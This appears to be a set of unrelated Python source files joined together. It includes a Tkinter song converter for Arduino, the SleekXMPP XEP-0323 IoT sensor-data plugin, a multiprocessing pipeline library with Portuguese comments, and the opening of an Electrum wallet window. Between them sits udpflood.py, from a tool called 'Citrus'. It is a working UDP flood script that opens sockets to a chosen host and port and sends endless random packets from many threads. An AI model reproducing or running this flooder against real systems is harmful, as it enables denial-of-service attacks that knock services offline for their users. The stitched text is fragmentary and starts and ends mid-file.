# meters = StringVar()
out_dir = StringVar()
in_dir = StringVar()
def save_state():
open(".songconverterstate", "w+").write("%s\n%s" %(in_dir.get(), out_dir.get()))
def load_state():
try:
indir, outdir = map(lambda x:x.strip() ,open(".songconverterstate", "r").readlines())
in_dir.set(indir)
out_dir.set(outdir)
except IOError:
pass
load_state()
def pick_in_dir():
in_dir.set(tkFileDialog.askdirectory())
save_state()
def pick_out_dir():
out_dir.set(tkFileDialog.askdirectory())
save_state()
ttk.Label(mainframe, text="Input Song Directory:").grid(column=1, row=1, sticky=W)
ttk.Label(mainframe, textvariable=in_dir).grid(column=2, row=1, sticky=W)
ttk.Label(mainframe, text="Output Song Directory:").grid(column=6, row=1, sticky=E)
ttk.Label(mainframe, textvariable=out_dir).grid(column=7, row=1, sticky=W)
ttk.Button(mainframe,text='Pick Input Directory', command=pick_in_dir).grid(column=1, row=2, sticky=N)
ttk.Button(mainframe,text='Pick Output Directory', command=pick_out_dir).grid(column=6, row=2, sticky=N)
# ttk.Label(mainframe, text="meters").grid(column=3, row=2, sticky=W)
for child in mainframe.winfo_children(): child.grid_configure(padx=5, pady=5)
tlog = Text(mainframe, wrap="word", width=100)
tlog.grid(column=1, columnspan=9, row=4 ,rowspan=7, sticky=W)
def songWatcher():
while running:
try:
if in_dir.get() and out_dir.get():
song_stats= [(path.join(in_dir.get(),f),stat((path.join(in_dir.get(),f))).st_mtime)
for f in listdir(in_dir.get()) if f.endswith(".xrns")]
for songfile, modtime in song_stats:
song_basename = path.splitext(path.basename(songfile))[0]
out_path = path.join(out_dir.get(), song_basename, "src")
mkdir_p(out_path)
out_path_songname=path.join(out_path, song_basename)
if path.exists(out_path_songname + ".c"):
out_song_mtime = stat(out_path_songname + ".c").st_mtime
else:
out_song_mtime = 0
if modtime > out_song_mtime:
tlog.insert("1.0", "Song: %s changed.\nUpdated Arduino library at: %s\n" % (
songfile, out_path_songname))
# The song has been changed Re-export!!
xrns2tt.xrns_to_tt(songfile, out_path_songname, {})
write_library_file(out_dir.get(), song_basename)
except Exception as e:
tlog.insert("1.0", "Error translating song: %s\n Trace: %s\n" % (e, traceback.format_exc()))
time.sleep(1)
threading.Thread(target=songWatcher).start()
root.mainloop()
running = False
def write_library_file(out_dir, songname):
lib_prop="""name=%s
version=0.9
author=You! <you@not.real.email.com>
maintainer=You! <you@not.real.email.com>
sentence=Auto Generated DuinoTune Song Library
paragraph=Auto Generated DuinoTune Song Library
category=Data Storage
url=http://example.com/
architectures=avr
""" % songname
ofile = open(path.join(out_dir, songname, "library.properties"), "w+")
ofile.write(lib_prop)
ofile.close()
if __name__ == "__main__":
song_convert_watcher()
|
sensordata.py
|
"""
SleekXMPP: The Sleek XMPP Library
Implementation of xeps for Internet of Things
http://wiki.xmpp.org/web/Tech_pages/IoT_systems
Copyright (C) 2013 Sustainable Innovation, Joachim.lindborg@sust.se, bjorn.westrom@consoden.se
This file is part of SleekXMPP.
See the file LICENSE for copying permission.
"""
import logging
import time
import datetime
from threading import Thread, Lock, Timer
from sleekxmpp.plugins.xep_0323.timerreset import TimerReset
from sleekxmpp.xmlstream.handler import Callback
from sleekxmpp.xmlstream.matcher import StanzaPath
from sleekxmpp.plugins.base import BasePlugin
from sleekxmpp.plugins.xep_0323 import stanza
from sleekxmpp.plugins.xep_0323.stanza import Sensordata
log = logging.getLogger(__name__)
class XEP_0323(BasePlugin):
"""
XEP-0323: IoT Sensor Data
This XEP provides the underlying architecture, basic operations and data
structures for sensor data communication over XMPP networks. It includes
a hardware abstraction model, removing any technical detail implemented
in underlying technologies.
Also see <http://xmpp.org/extensions/xep-0323.html>
Configuration Values:
threaded -- Indicates if communication with sensors should be threaded.
Defaults to True.
Events:
Sensor side
-----------
Sensordata Event:Req -- Received a request for data
Sensordata Event:Cancel -- Received a cancellation for a request
Client side
-----------
Sensordata Event:Accepted -- Received a accept from sensor for a request
Sensordata Event:Rejected -- Received a reject from sensor for a request
Sensordata Event:Cancelled -- Received a cancel confirm from sensor
Sensordata Event:Fields -- Received fields from sensor for a request
This may be triggered multiple times since
the sensor can split up its response in
multiple messages.
Sensordata Event:Failure -- Received a failure indication from sensor
for a request. Typically a comm timeout.
Attributes:
threaded -- Indicates if command events should be threaded.
Defaults to True.
sessions -- A dictionary or equivalent backend mapping
session IDs to dictionaries containing data
relevant to a request's session. This dictionary is used
both by the client and sensor side. On client side, seqnr
is used as key, while on sensor side, a session_id is used
as key. This ensures that the two will not collide, so
one instance can be both client and sensor.
Sensor side
-----------
nodes -- A dictionary mapping sensor nodes that are serviced through
this XMPP instance to their device handlers ("drivers").
Client side
-----------
last_seqnr -- The last used sequence number (integer). One sequence of
communication (e.g. -->request, <--accept, <--fields)
between client and sensor is identified by a unique
sequence number (unique between the client/sensor pair)
Methods:
plugin_init -- Overrides base_plugin.plugin_init
post_init -- Overrides base_plugin.post_init
plugin_end -- Overrides base_plugin.plugin_end
Sensor side
-----------
register_node -- Register a sensor as available from this XMPP
instance.
Client side
-----------
request_data -- Initiates a request for data from one or more
sensors. Non-blocking, a callback function will
be called when data is available.
"""
name = 'xep_0323'
description = 'XEP-0323 Internet of Things - Sensor Data'
dependencies = set(['xep_0030'])
stanza = stanza
default_config = {
'threaded': True
}
def plugin_init(self):
""" Start the XEP-0323 plugin """
self.xmpp.register_handler(
Callback('Sensordata Event:Req',
StanzaPath('iq@type=get/req'),
self._handle_event_req))
self.xmpp.register_handler(
Callback('Sensordata Event:Accepted',
StanzaPath('iq@type=result/accepted'),
self._handle_event_accepted))
self.xmpp.register_handler(
Callback('Sensordata Event:Rejected',
StanzaPath('iq@type=error/rejected'),
self._handle_event_rejected))
self.xmpp.register_handler(
Callback('Sensordata Event:Cancel',
StanzaPath('iq@type=get/cancel'),
self._handle_event_cancel))
self.xmpp.register_handler(
Callback('Sensordata Event:Cancelled',
StanzaPath('iq@type=result/cancelled'),
self._handle_event_cancelled))
self.xmpp.register_handler(
Callback('Sensordata Event:Fields',
StanzaPath('message/fields'),
self._handle_event_fields))
self.xmpp.register_handler(
Callback('Sensordata Event:Failure',
StanzaPath('message/failure'),
self._handle_event_failure))
self.xmpp.register_handler(
Callback('Sensordata Event:Started',
StanzaPath('message/started'),
self._handle_event_started))
# Server side dicts
self.nodes = {}
self.sessions = {}
self.last_seqnr = 0
self.seqnr_lock = Lock()
## For testing only
self.test_authenticated_from = ""
def post_init(self):
""" Init complete. Register our features in Service discovery. """
BasePlugin.post_init(self)
self.xmpp['xep_0030'].add_feature(Sensordata.namespace)
self.xmpp['xep_0030'].set_items(node=Sensordata.namespace, items=tuple())
def _new_session(self):
""" Return a new session ID. """
return str(time.time()) + '-' + self.xmpp.new_id()
def session_bind(self, jid):
logging.debug("setting the Disco discovery for %s" % Sensordata.namespace)
self.xmpp['xep_0030'].add_feature(Sensordata.namespace)
self.xmpp['xep_0030'].set_items(node=Sensordata.namespace, items=tuple())
def plugin_end(self):
""" Stop the XEP-0323 plugin """
self.sessions.clear()
self.xmpp.remove_handler('Sensordata Event:Req')
self.xmpp.remove_handler('Sensordata Event:Accepted')
self.xmpp.remove_handler('Sensordata Event:Rejected')
self.xmpp.remove_handler('Sensordata Event:Cancel')
self.xmpp.remove_handler('Sensordata Event:Cancelled')
self.xmpp.remove_handler('Sensordata Event:Fields')
self.xmpp['xep_0030'].del_feature(feature=Sensordata.namespace)
# =================================================================
# Sensor side (data provider) API
def register_node(self, nodeId, device, commTimeout, sourceId=None, cacheType=None):
"""
Register a sensor/device as available for serving of data through this XMPP
instance.
The device object may by any custom implementation to support
specific devices, but it must implement the functions:
has_field
request_fields
according to the interfaces shown in the example device.py file.
Arguments:
nodeId -- The identifier for the device
device -- The device object
commTimeout -- Time in seconds to wait between each callback from device during
a data readout. Float.
sourceId -- [optional] identifying the data source controlling the device
cacheType -- [optional] narrowing down the search to a specific kind of node
"""
self.nodes[nodeId] = {"device": device,
"commTimeout": commTimeout,
"sourceId": sourceId,
"cacheType": cacheType}
def _set_authenticated(self, auth=''):
""" Internal testing function """
self.test_authenticated_from = auth
def _handle_event_req(self, iq):
"""
Event handler for reception of an Iq with req - this is a request.
Verifies that
- all the requested nodes are available
- at least one of the requested fields is available from at least
one of the nodes
If the request passes verification, an accept response is sent, and
the readout process is started in a separate thread.
If the verification fails, a reject message is sent.
"""
seqnr = iq['req']['seqnr']
error_msg = ''
req_ok = True
# Authentication
if len(self.test_authenticated_from) > 0 and not iq['from'] == self.test_authenticated_from:
# Invalid authentication
req_ok = False
error_msg = "Access denied"
# Nodes
process_nodes = []
if len(iq['req']['nodes']) > 0:
for n in iq['req']['nodes']:
if not n['nodeId'] in self.nodes:
req_ok = False
error_msg = "Invalid nodeId " + n['nodeId']
process_nodes = [n['nodeId'] for n in iq['req']['nodes']]
else:
process_nodes = self.nodes.keys()
# Fields - if we just find one we are happy, otherwise we reject
process_fields = []
if len(iq['req']['fields']) > 0:
found = False
for f in iq['req']['fields']:
for node in self.nodes:
if self.nodes[node]["device"].has_field(f['name']):
found = True
break
if not found:
req_ok = False
error_msg = "Invalid field " + f['name']
process_fields = [f['name'] for n in iq['req']['fields']]
req_flags = iq['req']._get_flags()
request_delay_sec = None
if 'when' in req_flags:
# Timed request - requires datetime string in iso format
# ex. 2013-04-05T15:00:03
dt = None
try:
dt = datetime.datetime.strptime(req_flags['when'], "%Y-%m-%dT%H:%M:%S")
except ValueError:
req_ok = False
error_msg = "Invalid datetime in 'when' flag, please use ISO format (i.e. 2013-04-05T15:00:03)."
if not dt is None:
# Datetime properly formatted
dtnow = datetime.datetime.now()
dtdiff = dt - dtnow
request_delay_sec = dtdiff.seconds + dtdiff.days * 24 * 3600
if request_delay_sec <= 0:
req_ok = False
error_msg = "Invalid datetime in 'when' flag, cannot set a time in the past. Current time: " + dtnow.isoformat()
if req_ok:
session = self._new_session()
self.sessions[session] = {"from": iq['from'], "to": iq['to'], "seqnr": seqnr}
self.sessions[session]["commTimers"] = {}
self.sessions[session]["nodeDone"] = {}
iq.reply()
iq['accepted']['seqnr'] = seqnr
if not request_delay_sec is None:
iq['accepted']['queued'] = "true"
iq.send(block=False)
self.sessions[session]["node_list"] = process_nodes
if not request_delay_sec is None:
# Delay request to requested time
timer = Timer(request_delay_sec, self._event_delayed_req, args=(session, process_fields, req_flags))
self.sessions[session]["commTimers"]["delaytimer"] = timer
timer.start()
return
if self.threaded:
tr_req = Thread(target=self._threaded_node_request, args=(session, process_fields, req_flags))
tr_req.start()
else:
self._threaded_node_request(session, process_fields, req_flags)
else:
iq.reply()
iq['type'] = 'error'
iq['rejected']['seqnr'] = seqnr
iq['rejected']['error'] = error_msg
iq.send(block=False)
def _threaded_node_request(self, session, process_fields, flags):
"""
Helper function to handle the device readouts in a separate thread.
Arguments:
session -- The request session id
process_fields -- The fields to request from the devices
flags -- [optional] flags to pass to the devices, e.g. momentary
Formatted as a dictionary like { "flag name": "flag value" ... }
"""
for node in self.sessions[session]["node_list"]:
self.sessions[session]["nodeDone"][node] = False
for node in self.sessions[session]["node_list"]:
timer = TimerReset(self.nodes[node]['commTimeout'], self._event_comm_timeout, args=(session, node))
self.sessions[session]["commTimers"][node] = timer
timer.start()
self.nodes[node]['device'].request_fields(process_fields, flags=flags, session=session, callback=self._device_field_request_callback)
def _event_comm_timeout(self, session, nodeId):
"""
Triggered if any of the readout operations timeout.
Sends a failure message back to the client, stops communicating
with the failing device.
Arguments:
session -- The request session id
nodeId -- The id of the device which timed out
"""
msg = self.xmpp.Message()
msg['from'] = self.sessions[session]['to']
msg['to'] = self.sessions[session]['from']
msg['failure']['seqnr'] = self.sessions[session]['seqnr']
msg['failure']['error']['text'] = "Timeout"
msg['failure']['error']['nodeId'] = nodeId
msg['failure']['error']['timestamp'] = datetime.datetime.now().replace(microsecond=0).isoformat()
# Drop communication with this device and check if we are done
self.sessions[session]["nodeDone"][nodeId] = True
if (self._all_nodes_done(session)):
msg['failure']['done'] = 'true'
msg.send()
# The session is complete, delete it
del self.sessions[session]
def _event_delayed_req(self, session, process_fields, req_flags):
"""
Triggered when the timer from a delayed request fires.
Arguments:
session -- The request session id
process_fields -- The fields to request from the devices
flags -- [optional] flags to pass to the devices, e.g. momentary
Formatted as a dictionary like { "flag name": "flag value" ... }
"""
msg = self.xmpp.Message()
msg['from'] = self.sessions[session]['to']
msg['to'] = self.sessions[session]['from']
msg['started']['seqnr'] = self.sessions[session]['seqnr']
msg.send()
if self.threaded:
tr_req = Thread(target=self._threaded_node_request, args=(session, process_fields, req_flags))
tr_req.start()
else:
self._threaded_node_request(session, process_fields, req_flags)
def _all_nodes_done(self, session):
"""
Checks whether all devices are done replying to the readout.
Arguments:
session -- The request session id
"""
for n in self.sessions[session]["nodeDone"]:
if not self.sessions[session]["nodeDone"][n]:
return False
return True
def _device_field_request_callback(self, session, nodeId, result, timestamp_block, error_msg=None):
"""
Callback function called by the devices when they have any additional data.
Composes a message with the data and sends it back to the client, and resets
the timeout timer for the device.
Arguments:
session -- The request session id
nodeId -- The device id which initiated the callback
result -- The current result status of the readout. Valid values are:
"error" - Readout failed.
"fields" - Contains readout data.
"done" - Indicates that the readout is complete. May contain
readout data.
timestamp_block -- [optional] Only applies when result != "error"
The readout data. Structured as a dictionary:
{
timestamp: timestamp for this datablock,
fields: list of field dictionary (one per readout field).
readout field dictionary format:
{
type: The field type (numeric, boolean, dateTime, timeSpan, string, enum)
name: The field name
value: The field value
unit: The unit of the field. Only applies to type numeric.
dataType: The datatype of the field. Only applies to type enum.
flags: [optional] data classifier flags for the field, e.g. momentary
Formatted as a dictionary like { "flag name": "flag value" ... }
}
}
error_msg -- [optional] Only applies when result == "error".
Error details when a request failed.
"""
if not session in self.sessions:
# This can happen if a session was deleted, like in a cancellation. Just drop the data.
return
if result == "error":
self.sessions[session]["commTimers"][nodeId].cancel()
msg = self.xmpp.Message()
msg['from'] = self.sessions[session]['to']
msg['to'] = self.sessions[session]['from']
msg['failure']['seqnr'] = self.sessions[session]['seqnr']
msg['failure']['error']['text'] = error_msg
msg['failure']['error']['nodeId'] = nodeId
msg['failure']['error']['timestamp'] = datetime.datetime.now().replace(microsecond=0).isoformat()
# Drop communication with this device and check if we are done
self.sessions[session]["nodeDone"][nodeId] = True
if (self._all_nodes_done(session)):
msg['failure']['done'] = 'true'
# The session is complete, delete it
del self.sessions[session]
msg.send()
else:
msg = self.xmpp.Message()
msg['from'] = self.sessions[session]['to']
msg['to'] = self.sessions[session]['from']
msg['fields']['seqnr'] = self.sessions[session]['seqnr']
if timestamp_block is not None and len(timestamp_block) > 0:
node = msg['fields'].add_node(nodeId)
ts = node.add_timestamp(timestamp_block["timestamp"])
for f in timestamp_block["fields"]:
data = ts.add_data( typename=f['type'],
name=f['name'],
value=f['value'],
unit=f['unit'],
dataType=f['dataType'],
flags=f['flags'])
if result == "done":
self.sessions[session]["commTimers"][nodeId].cancel()
self.sessions[session]["nodeDone"][nodeId] = True
msg['fields']['done'] = 'true'
if (self._all_nodes_done(session)):
# The session is complete, delete it
del self.sessions[session]
else:
# Restart comm timer
self.sessions[session]["commTimers"][nodeId].reset()
msg.send()
def _handle_event_cancel(self, iq):
""" Received Iq with cancel - this is a cancel request.
Delete the session and confirm. """
seqnr = iq['cancel']['seqnr']
# Find the session
for s in self.sessions:
if self.sessions[s]['from'] == iq['from'] and self.sessions[s]['to'] == iq['to'] and self.sessions[s]['seqnr'] == seqnr:
# found it. Cancel all timers
for n in self.sessions[s]["commTimers"]:
self.sessions[s]["commTimers"][n].cancel()
# Confirm
iq.reply()
iq['type'] = 'result'
iq['cancelled']['seqnr'] = seqnr
iq.send(block=False)
# Delete session
del self.sessions[s]
return
# Could not find session, send reject
iq.reply()
iq['type'] = 'error'
iq['rejected']['seqnr'] = seqnr
iq['rejected']['error'] = "Cancel request received, no matching request is active."
iq.send(block=False)
# =================================================================
# Client side (data retriever) API
def request_data(self, from_jid, to_jid, callback, nodeIds=None, fields=None, flags=None):
"""
Called on the client side to initiate a data readout.
Composes a message with the request and sends it to the device(s).
Does not block, the callback will be called when data is available.
Arguments:
from_jid -- The jid of the requester
to_jid -- The jid of the device(s)
callback -- The callback function to call when data is available.
The callback function must support the following arguments:
from_jid -- The jid of the responding device(s)
result -- The current result status of the readout. Valid values are:
"accepted" - Readout request accepted
"queued" - Readout request accepted and queued
"rejected" - Readout request rejected
"failure" - Readout failed.
"cancelled" - Confirmation of request cancellation.
"started" - Previously queued request is now started
"fields" - Contains readout data.
"done" - Indicates that the readout is complete.
nodeId -- [optional] Mandatory when result == "fields" or "failure".
The node Id of the responding device. One callback will only
contain data from one device.
timestamp -- [optional] Mandatory when result == "fields".
The timestamp of data in this callback. One callback will only
contain data from one timestamp.
fields -- [optional] Mandatory when result == "fields".
List of field dictionaries representing the readout data.
Dictionary format:
{
typename: The field type (numeric, boolean, dateTime, timeSpan, string, enum)
name: The field name
value: The field value
unit: The unit of the field. Only applies to type numeric.
dataType: The datatype of the field. Only applies to type enum.
flags: [optional] data classifier flags for the field, e.g. momentary.
Formatted as a dictionary like { "flag name": "flag value" ... }
}
error_msg -- [optional] Mandatory when result == "rejected" or "failure".
Details about why the request is rejected or failed.
"rejected" means that the request is stopped, but note that the
request will continue even after a "failure". "failure" only means
that communication was stopped to that specific device, other
device(s) (if any) will continue their readout.
nodeIds -- [optional] Limits the request to the node Ids in this list.
fields -- [optional] Limits the request to the field names in this list.
flags -- [optional] Limits the request according to the flags, or sets
readout conditions such as timing.
Return value:
session -- Session identifier. Client can use this as a reference to cancel
the request.
"""
iq = self.xmpp.Iq()
iq['from'] = from_jid
iq['to'] = to_jid
iq['type'] = "get"
seqnr = self._get_new_seqnr()
iq['id'] = seqnr
iq['req']['seqnr'] = seqnr
if nodeIds is not None:
for nodeId in nodeIds:
iq['req'].add_node(nodeId)
if fields is not None:
for field in fields:
iq['req'].add_field(field)
iq['req']._set_flags(flags)
self.sessions[seqnr] = {"from": iq['from'], "to": iq['to'], "seqnr": seqnr, "callback": callback}
iq.send(block=False)
return seqnr
def cancel_request(self, session):
"""
Called on the client side to cancel a request for data readout.
Composes a message with the cancellation and sends it to the device(s).
Does not block, the callback will be called when cancellation is
confirmed.
Arguments:
session -- The session id of the request to cancel
"""
seqnr = session
iq = self.xmpp.Iq()
iq['from'] = self.sessions[seqnr]['from']
iq['to'] = self.sessions[seqnr]['to']
iq['type'] = "get"
iq['id'] = seqnr
iq['cancel']['seqnr'] = seqnr
iq.send(block=False)
def _get_new_seqnr(self):
""" Returns a unique sequence number (unique across threads) """
self.seqnr_lock.acquire()
self.last_seqnr += 1
self.seqnr_lock.release()
return str(self.last_seqnr)
def _handle_event_accepted(self, iq):
""" Received Iq with accepted - request was accepted """
seqnr = iq['accepted']['seqnr']
result = "accepted"
if iq['accepted']['queued'] == 'true':
result = "queued"
callback = self.sessions[seqnr]["callback"]
callback(from_jid=iq['from'], result=result)
def _handle_event_rejected(self, iq):
""" Received Iq with rejected - this is a reject.
Delete the session. """
seqnr = iq['rejected']['seqnr']
callback = self.sessions[seqnr]["callback"]
callback(from_jid=iq['from'], result="rejected", error_msg=iq['rejected']['error'])
# Session terminated
del self.sessions[seqnr]
def _handle_event_cancelled(self, iq):
"""
Received Iq with cancelled - this is a cancel confirm.
Delete the session.
"""
seqnr = iq['cancelled']['seqnr']
callback = self.sessions[seqnr]["callback"]
callback(from_jid=iq['from'], result="cancelled")
# Session cancelled
del self.sessions[seqnr]
def _handle_event_fields(self, msg):
"""
Received Msg with fields - this is a data response to a request.
If this is the last data block, issue a "done" callback.
"""
seqnr = msg['fields']['seqnr']
callback = self.sessions[seqnr]["callback"]
for node in msg['fields']['nodes']:
for ts in node['timestamps']:
fields = []
for d in ts['datas']:
field_block = {}
field_block["name"] = d['name']
field_block["typename"] = d._get_typename()
field_block["value"] = d['value']
if not d['unit'] == "": field_block["unit"] = d['unit'];
if not d['dataType'] == "": field_block["dataType"] = d['dataType'];
flags = d._get_flags()
if not len(flags) == 0:
field_block["flags"] = flags
fields.append(field_block)
callback(from_jid=msg['from'], result="fields", nodeId=node['nodeId'], timestamp=ts['value'], fields=fields)
if msg['fields']['done'] == "true":
callback(from_jid=msg['from'], result="done")
# Session done
del self.sessions[seqnr]
def _handle_event_failure(self, msg):
"""
Received Msg with failure - our request failed
Delete the session.
"""
seqnr = msg['failure']['seqnr']
callback = self.sessions[seqnr]["callback"]
callback(from_jid=msg['from'], result="failure", nodeId=msg['failure']['error']['nodeId'], timestamp=msg['failure']['error']['timestamp'], error_msg=msg['failure']['error']['text'])
# Session failed
del self.sessions[seqnr]
def _handle_event_started(self, msg):
"""
Received Msg with started - our request was queued and is now started.
"""
seqnr = msg['started']['seqnr']
callback = self.sessions[seqnr]["callback"]
callback(from_jid=msg['from'], result="started")
|
pipeline.py
|
# -*- coding: utf-8 -*-
import multiprocessing
from queue import Empty
from collections import deque
from collections.abc import Sequence, Mapping
import time
def stage(loop_func, queue_size=10, **kwargs):
""" Decorator que transforma a função em um objeto da classe Stage. """
return Stage(loop_func=loop_func, queue_size=queue_size, kwargs=kwargs)
class Stage(object):
""" Classe que define um estágio do pipeline. """
def __init__(self, loop_func=None, init_func=None, queue_size=10, args=(), kwargs={}):
""" Construtor.
Parâmetros:
- func: Função a ser executada para cada novo dado de entrada do estágio.
- queue_size: Tamanho da fila de saída.
- args e kwargs: Parâmetros a serem passados para a função init_func.
"""
self._queue_size = queue_size
if init_func is not None:
self.init = init_func
if loop_func is not None:
self.loop = loop_func
self._input = None
self._output = None
self._queue = None
self._event_stop = None
self._process = None
self._pipeline = None
self._args = args
self._kwargs = kwargs
def __call__(self, stage=None):
""" Conecta a entrada do estágio atual à saída do estágio fornecido como argumento,
ou define o estágio atual como sendo o primeiro.
"""
if stage is not None:
self._input = stage
stage._output = self
self._event_stop = multiprocessing.Event()
return self
def init(self, *args, **kwargs):
""" Método de inicialização do estágio, que pode ser redefinido em uma subclasse.
Difere do método padrão __init__() por ser executado diretamente no processo filho.
"""
pass
def loop(self, *args, **kwargs):
""" Método de loop do estágio, que pode ser redefinido em uma subclasse. """
pass
def _create_queue(self):
""" Cria a fila de saída do estágio. """
self._queue = multiprocessing.Queue(maxsize=self._queue_size)
def _start(self):
""" Inicia a execução do estágio do pipeline. """
# Se for um pipeline com um único estágio
if self._input is None and self._output is None:
def target():
self.init(*self._args, **self._kwargs)
gen = self.loop()
# Só termina se o sinal de parada for dado ou se o gerador chegar ao fim
while not self._event_stop.is_set():
try:
next(gen)
except StopIteration:
self._event_stop.set()
# Se for o primeiro estágio do pipeline
elif self._input is None:
self._create_queue()
def target():
self.init(*self._args, **self._kwargs)
# Só termina se o sinal de parada for dado ou se o gerador chegar ao fim
gen = self.loop()
while not self._event_stop.is_set():
try:
output_data = next(gen)
self._queue.put(output_data, block=True, timeout=None)
except StopIteration:
self._event_stop.set()
self._output._event_stop.set()
# Se for o último estágio do pipeline
elif self._output is None:
def target():
self.init(*self._args, **self._kwargs)
# Só termina se o sinal de parada for dado e se a fila de entrada estiver vazia
while not self._event_stop.is_set() or not self._input._queue.empty():
try:
input_data = self._input._queue.get(block=True, timeout=1)
self._call_loop_func(input_data)
except Empty:
pass
# Demais estágios do pipeline
else:
self._create_queue()
def target():
self.init(*self._args, **self._kwargs)
# Só termina se o sinal de parada for dado e se a fila de entrada estiver vazia
while not self._event_stop.is_set() or not self._input._queue.empty():
try:
input_data = self._input._queue.get(block=True, timeout=1)
output_data = self._call_loop_func(input_data)
if self._queue is not None:
self._queue.put(output_data, block=True, timeout=None)
except Empty:
pass
if self._output is not None:
self._output._event_stop.set()
self._process = multiprocessing.Process(target=target, daemon=True)
self._process.start()
def _call_loop_func(self, input_data):
""" Método auxiliar para chamar a função de loop de acordo com o tipo de entrada. """
if isinstance(input_data, Sequence):
output_data = self.loop(*input_data)
elif isinstance(input_data, Mapping):
output_data = self.loop(**input_data)
else:
output_data = self.loop(input_data)
return output_data
def _stop(self, timeout=4):
""" Para a execução do estágio, esperando a conclusão da iteração atual. """
self._event_stop.set()
self._process.join(timeout)
return self._process.exitcode
def _force_stop(self):
""" Força a parada imediata do estágio. """
self._process.terminate()
class Pipeline(object):
""" Classe que define um pipeline completo. """
def __init__(self, last_stage=None):
""" Construtor. """
self.stages = deque()
stage = last_stage
while stage is not None:
self.stages.appendleft(stage)
stage = stage._input
def add(self, stage):
""" Adiciona um estágio ao pipeline. """
if len(self.stages) == 0:
stage()
else:
stage(self.stages[-1])
self.stages.append(stage)
def start(self):
""" Inicia a execução do pipeline. """
for stage in self.stages:
stage._start()
def stop(self, timeout=16):
""" Para a execução do pipeline, esperando o esvaziamento de todas as filas. """
self.stages
t0 = time.time()
for stage in self.stages:
dt = time.time() - t0
exitcode = stage._stop(timeout-dt)
if exitcode is None:
stage._force_stop()
def join(self, timeout=None):
""" Espera o fim da execução do pipeline. """
if timeout is None:
for stage in self.stages:
stage._process.join()
else:
t0 = time.time()
for stage in self.stages:
dt = time.time() - t0
stage._process.join(timeout-dt)
def force_stop(self):
""" Força a parada imediata de todo o pipeline. """
for stage in self.stages:
stage._force_stop()
|
udpflood.py
|
# Citrus v 2.0.1
# Copyright (C) 2020, ZEN project. All Rights Reserved.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import socket
import random
import threading
import sys, os , time
def UDP(threads, host, port, mode):
print("\n[-] Flooding << HOST: %s PORT: %s METHOD: %s >> with %s threads"%(host,port,mode,threads))
time.sleep(5)
def udpFlood():
# The main function of this function is
# to make a while loop statement and send
# infinite packets to the target host
sent = 0 # this will be our variable that defines how many packet are sent
while True: # While statement it will run infinitely while program is running
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Create socket
sock.connect((host, port)) # connect to target host,port
except socket.error as e:
print("[-] Cannot create a UDP connection")
print(e)
# We will create a packet and send it
try:
for _ in range(6000):
packet = random._urandom(random.randint(1,2000))
sock.send(packet) # send packet to the connected host
except Exception as e:
print(f"[-] {e}")
time.sleep(.1)
continue
except KeyboardInterrupt:
print("[-] Operation canceled")
sys.exit()
else:
sent +=1
print("[-] Flooding <<HOST: %s PORT: %s METHOD: %s >> with %s packets"%(host, port, mode, sent))
thread_list = []
for thread in range(threads):
t = threading.Thread(target=udpFlood)
t.start()
thread_list.append(t)
for i in thread_list:
i.join()
|
main_window.py
|
#!/usr/bin/env python
#
# Electrum - lightweight Bitcoin client
# Copyright (C) 2012 thomasv@gitorious
#
# Permission is hereby granted, free of charge, to any person
# obtaining a copy of this software and associated documentation files
# (the "Software"), to deal in the Software without restriction,
# including without limitation the rights to use, copy, modify, merge,
# publish, distribute, sublicense, and/or sell copies of the Software,
# and to permit persons to whom the Software is furnished to do so,
# subject to the following conditions:
#
# The above copyright notice and this permission notice shall be
# included in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import sys, time, threading
import os, json, traceback
import shutil
import weakref
import webbrowser
import csv
from decimal import Decimal
import base64
from functools import partial
from PyQt5.QtGui import *
from PyQt5.QtCore import *
import PyQt5.QtCore as QtCore
from .exception_window import Exception_Hook
from PyQt5.QtWidgets import *
from electrum import keystore, simple_config
from electrum.bitcoin import COIN, is_address, TYPE_ADDRESS
from electrum import constants
from electrum.plugins import run_hook
from electrum.i18n import _
from electrum.util import (format_time, format_satoshis, PrintError,
format_satoshis_plain, NotEnoughFunds,
UserCancelled, NoDynamicFeeEstimates, profiler,
export_meta, import_meta, bh2u, bfh)
from electrum import Transaction
from electrum import util, bitcoin, commands, coinchooser
from electrum import paymentrequest
from electrum.wallet import Multisig_Wallet, AddTransactionException
from .amountedit import AmountEdit, BTCAmountEdit, MyLineEdit, FeerateEdit
from .qrcodewidget import QRCodeWidget, QRDialog
from .qrtextedit import ShowQRTextEdit, ScanQRTextEdit
from .transaction_dialog import show_transaction
from .fee_slider import FeeSlider
from .util import *
class StatusBarButton(QPushButton):
def __init__(self, icon, tooltip, func):
QPushButton.__init__(self, icon, '')
self.setToolTip(tooltip)
self.setFlat(True)
self.setMaximumWidth(25)
self.clicked.connect(self.onPress)
self.func = func
self.setIconSize(QSize(25,25))
def onPress(self, checked=False):
'''Drops the unwanted PyQt5 "checked" argument'''
self.func()
